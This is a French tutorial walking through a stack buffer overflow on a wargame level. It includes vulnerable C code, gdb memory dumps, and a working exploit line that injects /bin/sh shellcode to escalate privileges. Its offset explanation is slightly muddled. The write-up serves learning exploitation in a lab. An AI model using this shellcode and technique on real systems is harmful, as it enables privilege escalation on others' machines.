Stack-Based Buffer Overflow

Question faille connue on ne peut pas faire mieux je pense...
M'enfin bon comme j'ai pas grand-chose à faire en ce moment autant écrire un article dessus.
Et comme toujours article suivis d'un exemple sur un challenge présent sur une box de challenge.

Voici l'exemple (box : narnia.intruded.net) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

sh-3.1$ whoami
level3

Avant de comprendre le fonctionnement de la faille, analysons la source :
On nous demande un argument qui est automatiquement copié dans un tableau de char de 128 octets.
Oui seulement voila, la fonction utilisé pour copier l'arg[1] dans le buffer  ne vérifie pas du tout la grandeur
de l'argument...Voila un buffer overflow, c'est un simple dépassement de mémoire tampon. On s'est tous tappé un jour un SEGFAULT non ?... Non ? Ah :/ .
L'exploitation est assez simple quand on en a compris le fonctionnement.

/------------------\  lower

|                  |  memory

|       Text       |  addresses

|                  |

|------------------|

|   (Initialized)  |

|        Data      |

|  (Uninitialized) |

|------------------|

|                  |

|       Stack      |  higher

|                  |  memory

\------------------/  addresses

Ce schéma ci-dessus (pompé sur le net) représente en gros la position de la pile.
Ce schéma ci-dessous (pompé sur le net) représente la position de notre buffer dans la pile.

bottom of                                                            top of
memory                                                               memory
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack

Que ce passe-t-il donc quand le buffer déborde ? Ben c'est facile, il écrase à peut près tout sur son passage.
C'est à dire ? Si on contrôle ce dépassement on peut faire à peut près ce qu'on veut du programme faillible.
Bon...Je lance gdb pour vous montrer un peu à quoi ressemble un buffer qui déborde :

 level3@narnia:/wargame$ gdb -q ./level3
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048459 <main+85>:   add    $0x4,%eax
0x0804845c <main+88>:   mov    (%eax),%eax
0x0804845e <main+90>:   mov    %eax,0x4(%esp)
0x08048462 <main+94>:   lea    0xffffff78(%ebp),%eax
0x08048468 <main+100>:  mov    %eax,(%esp)
0x0804846b <main+103>:  call   0x804833c <strcpy@plt>  ====> BP sur strcpy
0x08048470 <main+108>:  lea    0xffffff78(%ebp),%eax      ====> BP juste après
0x08048476 <main+114>:  mov    %eax,0x4(%esp)
0x0804847a <main+118>:  movl   $0x804859c,(%esp)
0x08048481 <main+125>:  call   0x804830c <printf@plt>
0x08048486 <main+130>:  mov    $0x0,%eax
0x0804848b <main+135>:  leave
0x0804848c <main+136>:  ret
0x0804848d <main+137>:  nop
0x0804848e <main+138>:  nop
0x0804848f <main+139>:  nop
End of assembler dump.
(gdb) b*main+103
Breakpoint 1 at 0x804846b
(gdb) b*main+108
Breakpoint 2 at 0x8048470
(gdb) r `python -c "print 'a'*200"`  ====> Lancement du binaire avec 200 "a" en paramètre
Starting program: /wargame/level3 `python -c "print 'a'*200"`

Breakpoint 1, 0x0804846b in main ()
(gdb) x/10x $esp
0xbffff8e0:     0xbffff900      0xbffffb1d      0x00000001      0x00003638
0xbffff8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff900:     0x00000000   0x00000000

On peut voir que pour le moment le buffer est vide.
(gdb) c
Continuing.

Breakpoint 2, 0x08048470 in main ()
(gdb) x/30x $esp
0xbffff8e0:     0xbffff900      0xbffffb1d      0x00000001      0x00003638
0xbffff8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff900:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff910:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff920:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff930:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff940:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff950:     0x61616161      0x61616161
(gdb) c
Continuing.

Voila, le buffer dépasse, et on se choppe un beau SIGFAULT

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

Maintenant, le but de l'exploitation va être de placer un shellcode dans le buffer
et de sauter dessus.
Durant le RET le programme va mettre le contenu du buffer au dessus de la pile dans
EIP, donc il faut écraser EIP et le saved EIP, et remplacer ces 4 octets par une adresse de retour vers notre shellcode qui sera exécuté au moment du RET.
En effet, Eip pointe vers la prochaine instruction à exécuter.
Cependant il nous faut des infos :
-la taille exacte du buffer
-l'adresse de retour
-la taille du shellcode à placer dans le buffer

On sort gdb et on fait le calcul : EBP-ESP = taille du tableau.

Breakpoint 1, 0x0804846b in main ()
(gdb) x/1x $esp
0xbffff8e0: 0xbffff900
(gdb) print $ebp
$1 = (void *) 0xbffff988
(gdb) print 0xbffff988-0xbffff900
$2 = 136

donc c'est 136 + 2 (EIP) + 2 (SEIP) soit 140

Toujours avec gdb on essaie de trouver une nouvelle adresse de retour :

(gdb) r `python -c "print 'a'*140"`
Starting program: /wargame/level3 `python -c "print 'a'*140"`

Breakpoint 1, 0x08048470 in main ()
(gdb) x/64x $esp
0xbffff920: 0xbffff940 0xbffffb59 0x00000001 0x00003638
0xbffff930: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff940: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff950: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff960: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff970: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff980: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff990: 0x61616161 0x61616161 0x61616161 0x61616161

Ben on va essayer avec 0xbffff950 qui semble bien être au début du buffer mais qui laisse un peu de marge par rapport au tout début, on peut essayer avec d'autre adresses contenues dans le buffer.
lançons nous dans l'exploitation :)

[SHELLCODE de 22 octets]+[NOPS]*140-22+[ADR RET]

level3@narnia:/wargame$ ./level3 `python -c "print '\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'+'\x90'*(140-22)+'\x50\xf9\xff\xbf'"`
sh-3.1$ whoami
level4

Après il y'a d'autres manières de poutrer ce genres de failles, on peut placer un shellcode dans une var d'env pour pouvoir sauter dessus au moment du ret, ce qui est même mieux au final que mon exemple puisqu'on est pas limité par la taille du shellcode.